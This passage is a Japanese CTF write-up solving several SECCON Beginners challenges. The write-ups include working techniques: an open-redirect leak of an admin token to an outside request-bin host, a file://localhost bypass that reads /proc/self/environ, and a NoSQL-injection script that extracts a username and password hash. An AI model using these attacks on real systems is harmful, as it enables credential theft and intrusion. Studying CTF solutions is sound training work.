.init_array:0000000000003D08                     dq offset InitArray02_func_9e540c6a
.init_array:0000000000003D10                     dq offset InitArray03_func_21670b38
.init_array:0000000000003D18                     dq offset InitArray04_func_b548021f
.init_array:0000000000003D20                     dq offset InitArray05_func_c285f76d
.init_array:0000000000003D28                     dq offset InitArray06_func_74b2a53c
.init_array:0000000000003D30                     dq offset InitArray07_func_d902e81f
.init_array:0000000000003D38                     dq offset InitArray08_func_35efd7b6
.init_array:0000000000003D40                     dq offset InitArray09_func_1f5eba30
.init_array:0000000000003D48                     dq offset InitArray10_func_bae805f6
.init_array:0000000000003D50                     dq offset InitArray11_func_30b49da1
.init_array:0000000000003D58                     dq offset InitArray12_func_91e3f562
.init_array:0000000000003D60                     dq offset InitArray13_func_af41723c
.init_array:0000000000003D68                     dq offset InitArray14_func_69fd4a70
.init_array:0000000000003D70                     dq offset InitArray15_func_3d90c2fa
.init_array:0000000000003D78                     dq offset InitArray16_func_3b8e07a4
.init_array:0000000000003D80                     dq offset InitArray17_func_da53ce29
.init_array:0000000000003D88     __frame_dummy_init_array_entry dq offset frame_dummy
.init_array:0000000000003D88     _init_array     ends

おそらく、gcc拡張の constructor属性 が付与された関数が、この .init_array へ並んでいるはずです。問題名の construct そのものずばりに見えます。

また、これらの関数へ渡される引数を調べると c - Any documentation for .init_array function arguments? - Stack Overflow が見つかり、 argc, argv, envp 引数で呼び出されるらしいことが分かりました。予想通り、コマンドライン引数を検証していそうです。

各種関数を調べると、最初の2つの関数ではコマンドライン引数の数と長さを調べていました:

void __fastcall InitArray00_func_e0db2736_ArgcMustBe2(int argc, char **argv, char **envp)
{
  if ( argc != 2 )
  {
    puts("usage: construct <password>");
    _exit(1);
  }
}

void __fastcall InitArray01_func_f8db6e92_LenMustBe32(int argc, char **argv, char **envp)
{
  if ( strlen(argv[1]) != 32 )
    exit(1);
}

残りの関数はすべて、グローバル変数をindex位置決定に使いつつ、コマンドライン引数を2文字ずつ検証する内容でした。そのうちの1つの例です:

void __fastcall InitArray02_func_9e540c6a(int argc, char **argv, char **envp)
{
  if ( strncmp(&argv[1][g_i], &aC0D4yk261hbosj[g_i], 2uLL) )
    exit(1);
  g_i += 2;
}

比較先の文字列は逆アセンブル画面のほうが拾いやすかったです:

.text:0000000000001716 lea     rdx, aC0D4yk261hbosj ; "c0_d4yk261hbosje893w5igzfrvaumqlptx7n"

ここまで分かったので、後はひたすら比較対象の文字列を拾いました。各関数の名前を .init_array セクションでの登場順に番号を振っていたので、 Functions ウィンドウで関数名順にソートして、上の関数から逆アセンブル画面を開いて、文字列をコピペする方式を取りました:

コピペ結果を貼り付けてソルバーを作りました:

#!/usr/bin/env python3

expected_array = [
    "c0_d4yk261hbosje893w5igzfrvaumqlptx7n",
    "oxnske1cgaiylz0mwfv7p9r32h6qj8bt4d_u5",
    "lzau7rvb9qh5_1ops6jg3ykf8x0emtcind24w",
    "9_xva4uchnkyi6wb2ld507p8g3stfej1rzqmo",
    "r8x9wn65701zvbdfp4ioqc2hy_juegkmatls3",
    "tufij3cykhrsl841qo6_0dwg529zanmbpvxe7",
    "b0i21csjhqug_3erat9f6mx854pyol7zkvdwn",
    "17zv5h6wjgbqerastioc294n0lxu38fdk_ypm",
    "1cgovr4tzpnj29ay3_8wk7li6uqfmhe50bdsx",
    "3icj_go9qd0svxubefh14ktywpzma2l7nr685",
    "c7l9532k0avfxso4uzipd18egbnyw6rm_tqjh",
    "l8s0xb4i1frkv6a92j5eycng3mwpzduqth_7o",
    "l539rbmoifye0u6dj1pw8nqt_74sz2gkvaxch",
    "aj_d29wcrqiok53b7tyn0p6zvfh1lxgum48es",
    "3mq16t9yfs842cbvlw5j7k0prohengduzx_ai",
    "_k6nj8hyxvzcgr1bu2petf5qwl09ids!om347a",
]

for i, s in enumerate(expected_array):
    print(s[i * 2 : i * 2 + 2], end="")
print()

実行しました:

$ ./solve.py
c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!
$ ./construct 'c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!'
CONGRATULATIONS!
The flag is ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}
$

フラグを入手できました: ctf4b{c0ns7ruc70rs_3as3_h1d1ng_7h1ngs!}

[reversing, hard] former-seccomp (42 teams solved, 147 points)

フラグチェック用のシステムコールを自作してみました

配布ファイルとして、former-seccompがありました:

$ file *
former-seccomp: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0e0d6202f9e6c15fdb9146a214abfb0d47520185, for GNU/Linux 3.2.0, stripped
$

配布ファイルをIDAで読み込んで逆コンパイルすると、主に次のような処理をしていることが分かりました:

  1. main 関数冒頭で fork し、親子それぞれで別の関数へ分岐します。
  2. 子プロセス側は ptrace 関数でデバッガー検知を行いつつ(検知すれば exit で終了)、 kill 関数で自分自身へ SIGSTOP を送信します。
  3. 親プロセス側は waitpid 関数を使い、子プロセス側が SIGSTOP するまで待ちます。
  4. 親プロセス側が ptrace 関数でシステムコール呼び出しを検知する設定をしていそうで、システムコール番号 0xCAFE が実行されるまで待ちます。理解できていませんが、どこかで子プロセスの実行を再開させています。
  5. 子プロセス側でユーザー入力を受け付け、 __isoc99_sscanf(inputSize64, "ctf4b{%26s%[}]", inputContentSize26, inputSize64) が2であること、つまり ctf4b{} の内容が26文字であることを検証します。
  6. 子プロセス側が、システムコール番号 0xCAFE を使って、ユーザー入力内容の26文字のアドレスを引数に、 syscall 関数を呼び出します。
  7. 親プロセス側が .text:00000000000019BD 箇所に突入します。ユーザー入力内容の26文字をローカルバッファへコピーしてから、 text:0000000000001737 の関数を呼び出して、ユーザー入力の正誤判定をします。
  8. .text:0000000000001737 の関数では、1バイトXORで ctf4b:2024* 文字列を復号します。 .data:0000000000004010 のグローバル変数のバイト列と ctf4b:2024* 文字列を引数に、 .text:0000000000001497 の関数を呼び出します。その結果がユーザー入力と一致するかを返します。
  9. .text:0000000000001497 の関数を読むとRC4と分かります。
  10. これらの解析結果から、 .data:0000000000004010 のグローバル変数のバイト列を、 ctf4b:2024* 文字列を鍵としてRC4復号した結果がフラグと分かります。

フラグを逆算するソルバーを書きました:

#!/usr/bin/env python3

from Crypto.Cipher import ARC4

# .data:0000000000004030
key = bytearray.fromhex("43 55 44 17 46 1F 14 17 1A 1D 00").rstrip(b"\x00")

for i in range(len(key)):
    key[i] ^= i + 32
print(key)                     # bytearray(b'ctf4b:2024*')

# .data:0000000000004010
data2 = bytearray.fromhex("A5 D2 BC 02 B2 7C 86 38 17 B1 38 C6 E4 5C 1F A0 9D 96 D1 F0 4B A6 A6 5C 64 B7 00 00 00 00 00 00").rstrip(b"\x00")

cipher = ARC4.new(key)
plain = cipher.decrypt(data2)
print("ctf4b{" + plain.decode() + "}")

実行しました:

$ ./solve.py
bytearray(b'ctf4b:2024')
ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}
$ ./former-seccomp
flag> ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}
CONGRATULATIONS!
$

フラグを入手できました: ctf4b{p7r4c3_c4n_3mul4t3_sysc4ll}

ptrace 関数の便利さ、強力さがよく分かる問題でした。

なお、コンテスト開始直後にこの問題へ取り組んでいました。1st-bloodを取れました!

[misc, easy] getRank (368 teams solved, 59 points)

https://getrank.beginners.seccon.games

問題文はURLのみです。配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./app/Dockerfile:        ASCII text
./app/main.ts:           JavaScript source, ASCII text
./app/package.json:      JSON text data
./app/pnpm-lock.yaml:    ASCII text
./app/public/index.html: HTML document, ASCII text
./docker-compose.yaml:   ASCII text
./nginx/Dockerfile:      ASCII text
./nginx/nginx.conf:      ASCII text
$

Google Chromeで問題文のURLへアクセスしてみると、「0~9の数当てゲーム」と、「現在のランクの確認」の2つの機能がありました。開発者ツールの Network タブを見ながらそれらの機能を操作すると、2つの機能のうち通信が発生するのは「現在のランクの確認」側だけで、 {"input":"1"} 形式のJSONをPOSTするものでした。

とりあえずフラグがどこで使われているかを調べました:

$ find . -type f -print0 | xargs -0 grep -in flag
./app/main.ts:21:      message: process.env.FLAG || "fake{fake_flag}",
./docker-compose.yaml:7:      - FLAG=fake{fake_flag}
$

app/main.ts で使われているようです。そのファイルを調べると、次のような処理を行っていました:

(前略)

const RANKING = [10 ** 255, 1000, 100, 10, 1, 0];

(中略)

function ranking(score: number): Res {
  const getRank = (score: number) => {
    const rank = RANKING.findIndex((r) => score > r);
    return rank === -1 ? RANKING.length + 1 : rank + 1;
  };

  const rank = getRank(score);
  if (rank === 1) {
    return {
      rank,
      message: process.env.FLAG || "fake{fake_flag}",
    };
  } else {
    return {
      rank,
      message: `You got rank ${rank}!`,
    };
  }
}

function chall(input: string): Res {
  if (input.length > 300) {
    return {
      rank: -1,
      message: "Input too long",
    };
  }

  let score = parseInt(input);
  if (isNaN(score)) {
    return {
      rank: -1,
      message: "Invalid score",
    };
  }
  if (score > 10 ** 255) {
    // hmm...your score is too big?
    // you need a handicap!
    for (let i = 0; i < 100; i++) {
      score = Math.floor(score / 10);
    }
  }

  return ranking(score);
}
(中略)

server.post(
  "/",
  async (req: FastifyRequest<{ Body: { input: string } }>, res) => {
    const { input } = req.body;
    const result = chall(input);
    res.type("application/json").send(result);
  }
);

(後略)

POSTした内容が、次の条件をすべて満たした場合にフラグを得られることが分かりました:

  • input.length が300以下
  • parseInt(input) 結果を100回 score = Math.floor(score / 10); しても、なお 10 ** 255 以上の数値

最初は「 parseInt がInfinityを返すような入力があるか」を探しましたが、 parseInt() - JavaScript | MDN を読んでも不可能そうだと分かりました。

以前使った、JSONを使って文字列ではなく文字列の配列を与える手法を思い出しました。

  • input.length チェックは配列の要素数だけに影響するため、配列の要素である文字列の長さは無制限にできます。
  • parseInt(input)inputString へ変換する際に呼び出される Array.prototype.toString() - JavaScript | MDN は、 join メソッドを使います。すなわち要素数1の配列を文字列へ変換した結果は、その1要素を文字列へ変換した結果と同一になります。1要素として文字列を与えると、その文字列そのものが Array.prototype.toString() の結果になります。

この手法を使って巨大な数値の文字列をを与えることで、フラグを得られそうだと考えました。Google Chromeの開発者ツールの Network タブで、機能確認時に送信していた内容を右クリックして、コンテキストメニューから Copy → Copy as cURL (bash) を選択しました。POST内容を、1000桁の文字列を要素とする配列へ変更して送信しました:

$ curl 'https://getrank.beginners.seccon.games/' -H 'Accept: */*' -H 'Accept-Language: ja' -H 'Connection: keep-alive' -H 'Content-Type: application/json' -H 'Origin: https://getrank.beginners.seccon.games' -H 'Referer: https://getrank.beginners.seccon.games/' -H 'Sec-Fetch-Dest: empty' -H 'Sec-Fetch-Mode: cors' -H 'Sec-Fetch-Site: same-origin' -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36' -H 'sec-ch-ua: "Google Chrome";v="125", "Chromium";v="125", "Not.A/Brand";v="24"' -H 'sec-ch-ua-mobile: ?0' -H 'sec-ch-ua-platform: "Windows"' --data-raw '{"input":["9999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999"]}'
{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
$

フラグを入手できました: ctf4b{15_my_5c0r3_700000_b1g?}

[misc, easy] clamre (198 teams solved, 76 points)

アンチウィルスのシグネチャを読んだことはありますか?

※サーバにアクセスしなくても解けます

https://clamre.beginners.seccon.games

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./app/Dockerfile:            ASCII text
./app/flag.ldb:              ASCII text
./app/requirements.txt:      ASCII text
./app/server.py:             Python script, ASCII text executable
./app/templates/index.html:  HTML document, ASCII text
./app/templates/result.html: HTML document, ASCII text
./app/uwsgi.ini:             ASCII text
./compose.yaml:              ASCII text
./nginx/Dockerfile:          ASCII text
./nginx/nginx.conf:          ASCII text
$

app/server.py 内容を調べると、最終的に clamscan コマンドを使って、app/flag.ldb のルールへ入力がマッチするかどうかを検証しているらしいことが分かりました。 app/flag.ldb は次の内容です:

ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/

/^ から始まって $/ で終わっているあたりが正規表現に見えました。よく読むと \{\} のように正規表現で意味を持つ波括弧をエスケープしていたり、 \3 などの後方参照を使っていることから、ますます正規表現らしい確信が高まりました。後方参照先のグループを、テキストエディターで ( を検索して拾いました:

\3 -> 4
\7 -> 3
\10 -> _
\11 -> l
\14 -> u

後方参照先を拾った結果で、テキストエディターの置換機能で置き換えました。残りの \xhh 形式のデコードには、Pythonのインタープリターへ頼りました(この時、 \{ などの波括弧のエスケープは不要です):

>>> "((\x63\x74\x66)(4)(\x62)({B)(\x72)(\x33)4(\x6b1)(\x6e\x67)(\x5f)4(\x6c)l_(\x54\x68)3_(\x480)(\x75)(5)3_(\x52)ul3(5)})".replace("(", "").replace(")", "")
'ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}'
>>>

フラグを入手できました: ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}

[web, beginner] wooorker (186 teams solved, 78 points)

adminのみflagを取得できる認可サービスを作りました!

https://wooorker.beginners.seccon.games

脆弱性報告bot

問題文の 脆弱性報告bot には https://wooorker.beginners.seccon.games/report へのリンクが設定されていました。また、配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./app/Dockerfile:                 ASCII text
./app/package.json:               JSON text data
./app/public/flag.html:           HTML document, ASCII text
./app/public/flag.js:             HTML document, ASCII text
./app/public/login.html:          HTML document, ASCII text
./app/public/login.js:            ASCII text
./app/public/main.js:             ASCII text
./app/public/report.html:         HTML document, Unicode text, UTF-8 text
./app/server.js:                  JavaScript source, Unicode text, UTF-8 text
./compose.yaml:                   ASCII text
./crawler/Dockerfile:             ASCII text
./crawler/dumb-init_1.2.5_x86_64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, stripped
./crawler/index.js:               JavaScript source, ASCII text
./crawler/package.json:           JSON text data
./nginx/Dockerfile:               ASCII text
./nginx/nginx.conf:               ASCII text
$

Google Chromeで問題文記載のURLへアクセスするとログインが必要と言われ、 https://wooorker.beginners.seccon.games/login?next=/ のログインページへ誘導されました。ソースコードからログイン情報を探すと、 app/server.js に次の内容がありました:

(前略)
const jwtSecret = crypto.randomBytes(64).toString('hex');
const FLAG = process.env.FLAG;
const ADMIN_PASSWORD = process.env.ADMIN_PASSWORD;

const users = {
  admin: { password: ADMIN_PASSWORD, isAdmin: true },
  guest: { password: 'guest', isAdmin: false }
};
(後略)

ログインフォームで試すと、ユーザー名 guest 、 パスワードも guest でログインできました。ログインすると https://wooorker.beginners.seccon.games/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxODc5ODI5OSwiZXhwIjoxNzE4ODAxODk5fQ.e4ZOCqYnGT9tm_Lh7fZm4gSb_ougz1zFQiVvJ7pVFw8 へ遷移しましたが、 Access denied との表示でした。 admin としてログインする必要がありそうです。

脆弱性報告bot ページへアクセスすると、次の説明がありました:

ログイン機能の脆弱性を見つけたら報告してください。

例えば、login?next=/を送信するとadminがhttps://wooorker.beginners.seccon.games/login?next=/にアクセスし、ログインを行います。

試しに自分で https://wooorker.beginners.seccon.games/login?next=https://example.com から guest としてログインすると、 https://example.com/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxODc5ODY1OCwiZXhwIjoxNzE4ODAyMjU4fQ.oEK1pS_sS0hEPaoXkrw_CGdYwgqUpVsqFedXKdWpl6Q と、指定したURLに token パラメーター付きで遷移しました。この挙動を使用すると、脆弱性報告botから admin 権限の token を得られそうです。

私はサーバーを持っていないので、Webサービスを利用しました。最初は requestrepo.com を使おうとしたのですが、脆弱性報告botからはDNSリクエストがあるだけで、実際のHTTPアクセスはありませんでした。何故か分かっていません。困ったので次に RequestBin — A modern request bin to collect, inspect and debug HTTP requests and webhooks - Pipedream を使いました。 /report ページで login?next=https://ホスト名省略.x.pipedream.net を送信すると、 token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY3MzAwLCJleHAiOjE3MTg0NzA5MDB9.SvO-Mgu7EDPodNwtAB325IJYc1e-T69u34PQ6AAHSwAadmin 用のトークンを持った通信が、RequestsBinのページに表示されました。そのトークンを使って https://wooorker.beginners.seccon.games/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY3MzAwLCJleHAiOjE3MTg0NzA5MDB9.SvO-Mgu7EDPodNwtAB325IJYc1e-T69u34PQ6AAHSwA へアクセスすると、フラグが表示されました: ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}

[web, easy] ssrforlfi (76 teams solved, 113 points)

SSRF? LFI? ひょっとしてRCE?

https://ssrforlfi.beginners.seccon.games

悩んだ問題の1つです。配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./.env:                 ASCII text, with CRLF line terminators
./app/app.py:           Python script, ASCII text executable, with CRLF line terminators
./app/Dockerfile:       ASCII text, with CRLF line terminators
./app/requirements.txt: ASCII text, with CRLF line terminators
./app/uwsgi.ini:        ASCII text, with CRLF line terminators
./docker-compose.yml:   ASCII text
./nginx/Dockerfile:     ASCII text
./nginx/nginx.conf:     ASCII text
$

app/app.py は次の内容でした:

import os
import re
import subprocess
from flask import Flask, request

app = Flask(__name__)


@app.route("/")
def ssrforlfi():
    url = request.args.get("url")
    if not url:
        return "Welcome to Website Viewer.<br><code>?url=http://example.com/</code>"

    # Allow only a-z, ", (, ), ., /, :, ;, <, >, @, |
    if not re.match('^[a-z"()./:;<>@|]*$', url):
        return "Invalid URL ;("

    # SSRF & LFI protection
    if url.startswith("http://") or url.startswith("https://"):
        if "localhost" in url:
            return "Detected SSRF ;("
    elif url.startswith("file://"):
        path = url[7:]
        if os.path.exists(path) or ".." in path:
            return "Detected LFI ;("
    else:
        # Block other schemes
        return "Invalid Scheme ;("

    try:
        # RCE ?
        proc = subprocess.run(
            f"curl '{url}'",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
    except subprocess.TimeoutExpired:
        return "Timeout ;("
    if proc.returncode != 0:
        return "Error ;("
    return proc.stdout


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=4989)

フラグはどこにあるのかと調べると、環境変数として設定されているだけらしいことも分かりました:

$ find . -type f -exec grep -in flag {} /dev/null \;
./.env:1:FLAG=ctf4b{*****REDACTED*****}
$

試行錯誤や考察をしました:

  • 環境変数を読み込むために /prof/self/environ を読み込ませて表示させたいです。
  • curl コマンド実行時では、url 引数がシングルクォートで囲われており、また url そのものにシングルクォートは含められないため、 curl のオプションを増やしたり、複文で別のコマンドを実行させることは不可能そうです。
  • HTTP/HTTPSプロトコル側では、ホスト名として 127.0.0.1 や、そのIPアドレスへ解決されるドメイン(subdomain - Public Wildcard Domain Name To Resolve To 127.0.0.1 - Stack Overflow) を指定することでサーバー側内部へ通信させることはできますが、コロンが封じられているため80/443番ポートへしかアクセスできず、かつ今回のサーバーはどちらも閉じているため、おそらく使い道はないです。
  • そのためFILEプロトコル側が本命になりそうですが path = url[7:] からの os.path.exists(path) チェックをどうにかして迂回する必要があります。
    • curl コマンドでは [] の角括弧や {} の波括弧をGLOBBINGとして使えますが、今回の問題ではそれらすべての文字が封じられています。
    • /proc/self/root// のシンボリックリンクであることを利用して /proc/self/root/proc/self/root/(以降繰り返し)/proc/self/environ のような長いパスを渡して何か起こらないか期待しましたが、 502 Bad Gateway が起こるだけでした。 502 Bad Gateway が起こらない範囲では、os.path.exists(path) は適切に機能しているようでした。
    • url 末尾に改行文字を1個だけ付与しても何故か re.match チェックが通るようでしたが、特段嬉しいことはなさそうでした。

1時間悩んだり、他の問題に移ったり、寝て起きたりした後に、ふと思いつきました。「FILEプロトコルではホスト名を指定できるはずで、ホスト名を指定すれば path = url[7:] にホスト名も入って os.path.exists(path) をFalseにさせられるのでは?」と。動作確認も兼ねていたソルバーに組み込みました:

#!/usr/bin/env python3

import requests

# BASE_URL = "http://localhost:4989"
BASE_URL = "https://ssrforlfi.beginners.seccon.games"

with requests.Session() as session:
    response = session.get(
        BASE_URL + "/", params={"url": "file://localhost/proc/self/environ"}
    )
    print(response.text.split("\x00"))

実行しました:

$ ./solve.py
['UWSGI_ORIGINAL_PROC_NAME=uwsgi', 'HOSTNAME=a84e51bef68d', 'HOME=/home/ssrforlfi', 'PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin', 'LANG=C.UTF-8', 'DEBIAN_FRONTEND=noninteractive', 'PWD=/var/www', 'TZ=Asia/Tokyo', 'UWSGI_RELOADS=0', 'FLAG=ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}', '']
$

フラグを入手できました: ctf4b{1_7h1nk_bl0ck3d_b07h_55rf_4nd_lf1}

[web, medium] double-leaks (55 teams solved, 130 points)

Can you leak both username and password? :eyes: https://double-leaks.beginners.seccon.games

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./.env:                     ASCII text
./app/app.py:               Python script, ASCII text executable
./app/Dockerfile:           ASCII text
./app/requirements.txt:     ASCII text
./app/templates/index.html: HTML document, ASCII text
./app/uwsgi.ini:            ASCII text
./docker-compose.yml:       ASCII text
./nginx/Dockerfile:         ASCII text
./nginx/nginx.conf:         ASCII text
$

後で出てくるユーザー名やパスワード、フラグは、 .env で指定していました:

ADMIN_USERNAME=t4sk4233
ADMIN_PASSWORD="How's_1t_go1ng?"
FLAG=ctf4b{th15_1s_4_f4ke_flag}

app/app.py は主に次の内容でした:

(前略)
    client = get_mongo_client()
    db = client.get_database("double-leaks")
    users_collection = db.get_collection("users")

    admin_username = os.getenv("ADMIN_USERNAME", "")
    assert len(admin_username) > 0 and any(
        [ch in string.printable for ch in admin_username]
    ), "ADMIN_USERNAME is not set"
    admin_password = os.getenv("ADMIN_PASSWORD", "")
    assert len(admin_password) > 0 and any(
        [ch in string.printable for ch in admin_password]
    ), "ADMIN_PASSWORD is not set"
    flag = os.getenv("FLAG", "flag{dummy_flag}")
    assert len(flag) > 0 and any(
        [ch in string.printable for ch in flag]
    ), "FLAG is not set"

    if users_collection.count_documents({}) == 0:
        hashed_password = hashlib.sha256(admin_password.encode("utf-8")).hexdigest()
        users_collection.insert_one(
            {"username": admin_username, "password_hash": hashed_password}
        )
(中略)

def waf(input_str):
    # DO NOT SEND STRANGE INPUTS! :rage:
    blacklist = [
        "/",
        ".",
        "*",
        "=",
        "+",
        "-",
        "?",
        ";",
        "&",
        "\\",
        "=",
        " ^",
        "(",
        ")",
        "[",
        "]",
        "in",
        "where",
        "regex",
    ]
    return any([word in str(input_str) for word in blacklist])
(中略)
@app.route("/login", methods=["POST"])
def login():
    username = request.json["username"]
    password_hash = request.json["password_hash"]
    if waf(password_hash):
        return jsonify({"message": "DO NOT USE STRANGE WORDS :rage:"}), 400

    try:
        client = get_mongo_client()
        db = client.get_database("double-leaks")
        users_collection = db.get_collection("users")
        user = users_collection.find_one(
            {"username": username, "password_hash": password_hash}
        )
        if user is None:
            return jsonify({"message": "Invalid Credential"}), 401

        # Confirm if credentials are valid just in case :smirk:
        if user["username"] != username or user["password_hash"] != password_hash:
            return jsonify({"message": "DO NOT CHEATING"}), 401

        return jsonify(
            {"message": f"Login successful! Congrats! Here is the flag: {flag}"}
        )
(後略)

サーバー側の起動時に環境変数から読み込んだユーザー名とパスワードハッシュをMongoDBのデータベースへ追加しています。ログイン処理では、ユーザー名はそのまま、パスワードハッシュ側は waf 関数の拒否リストを通過することを確認してから、 users_collection.find_one で入力内容と一致するユーザーを検索しています。

ログイン時の入力でNoSQL Injectionができるかを試そうとしました。 app/app.py の処理では、ユーザーが見つかった場合でも Confirm if credentials are valid just in case :smirk: として改めてユーザー名とパスワードハッシュが完全一致するか検証しており、完全一致する場合にのみフラグが表示されます。とはいえ応答が "Invalid Credential""DO NOT CHEATING" のどちらになるかで情報は手に入ります。db.collection.findOne() - MongoDB Manual v7.0 から辿れる Query and Projection Operators - MongoDB Manual v7.0 を眺めていると、 $ne 演算子や $lt 演算子が目に入りました。それらは waf 関数を突破できる演算子です。とりあえずユーザー名とパスワードハッシュの両方に {"$ne": ""} を設定してログインを試すと DO NOT CHEATING 応答をもらえました。想像通り、NoSQL Injectionができるようです。

後は $lt 演算子を使って、ユーザー名やパスワードハッシュを二分探索しました。また、どうやら1秒間に10リクエストまでのレート制限を設けているらしく 429 Too Many Requests 応答が返ることがあったので、429応答時はSleepを挟みました。書いたソルバーです:

#!/usr/bin/env python3

import time

import requests

BASE_URL = "https://double-leaks.beginners.seccon.games"

with requests.Session() as session:

    def login(username, password_hash):
        while True:
            data = {
                "username": username,
                "password_hash": password_hash,
            }
            response = session.post(BASE_URL + "/login", json=data)
            if response.status_code == 429:  # 429 Too Many Requests
                print("(429, sleep)...")
                time.sleep(1)  # <p>10 per 1 second</p>
                continue

            # print(response.text)
            return response

    def oracle(username, password_hash):
        return login(username, password_hash).json()["message"] != "Invalid Credential"

    def detect_username():
        current_name = ""
        for i in range(60):
            low = 0x20
            high = 0x7F
            while low < high:
                mid = (low + high) // 2
                tmp_name = current_name + chr(mid)
                print(f"{tmp_name = }")
                if oracle({"$lt": tmp_name}, {"$ne": ""}):
                    high = mid
                else:
                    low = mid + 1
            current_name += chr(low - 1)
            print(f"{current_name = }")

            if oracle(current_name, {"$ne": ""}):
                break
        return current_name

    def detect_password_hash(username):
        blacklist = [
            "/",
            ".",
            "*",
            "=",
            "+",
            "-",
            "?",
            ";",
            "&",
            "\\",
            "=",
            " ^",
            "(",
            ")",
            "[",
            "]",
            "in",
            "where",
            "regex",
        ]
        candidates = ""
        for i in range(0x20, 0x7F):
            if chr(i) not in blacklist:
                candidates += chr(i)
        # 後で気付きましたがSHA256なので候補はhex文字だけでした……
        candidates = "0123456789abcdef"

        current_password_hash = ""
        for i in range(70):  # SHA256のhexdigestは64文字
            low = 0
            high = len(candidates)
            while low < high:
                mid = (low + high) // 2

                tmp_password_hash = current_password_hash + candidates[mid]
                print(f"{tmp_password_hash = }")
                if oracle(username, {"$lt": tmp_password_hash}):
                    high = mid
                else:
                    low = mid + 1
            current_password_hash += candidates[low - 1]
            print(f"{current_password_hash = }")

            if oracle(username, current_password_hash):
                break
        return current_password_hash

    username = detect_username()
    # username = "ky0muky0mupur1n"

    password_hash = detect_password_hash(username)
    # password_hash = "d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a"

    print(login(username, password_hash).text)

実行しました:

$ time ./solve.py
tmp_name = 'O'
tmp_name = 'g'
tmp_name = 's'
tmp_name = 'm'
tmp_name = 'j'
tmp_name = 'l'
tmp_name = 'k'
current_name = 'k'
(中略)
tmp_name = 'ky0muky0mupur1n'
current_name = 'ky0muky0mupur1n'
tmp_password_hash = '8'
tmp_password_hash = '8'
tmp_password_hash = 'c'
tmp_password_hash = 'e'
tmp_password_hash = 'd'
current_password_hash = 'd'
(中略)
tmp_password_hash = 'd36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a'
tmp_password_hash = 'd36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31b'
current_password_hash = 'd36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a'
{"message":"Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}"}

./solve.py  0.94s user 0.08s system 3% cpu 33.724 total
$

フラグを入手できました: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}

ところで、この問題で各種実験をしようと思った時、まずはローカルのdockerコンテナ実行で試そうと思ったのですが、 docker compose up しても次のエラーなどが発生しており、どうにもうまく実行できませんでした:

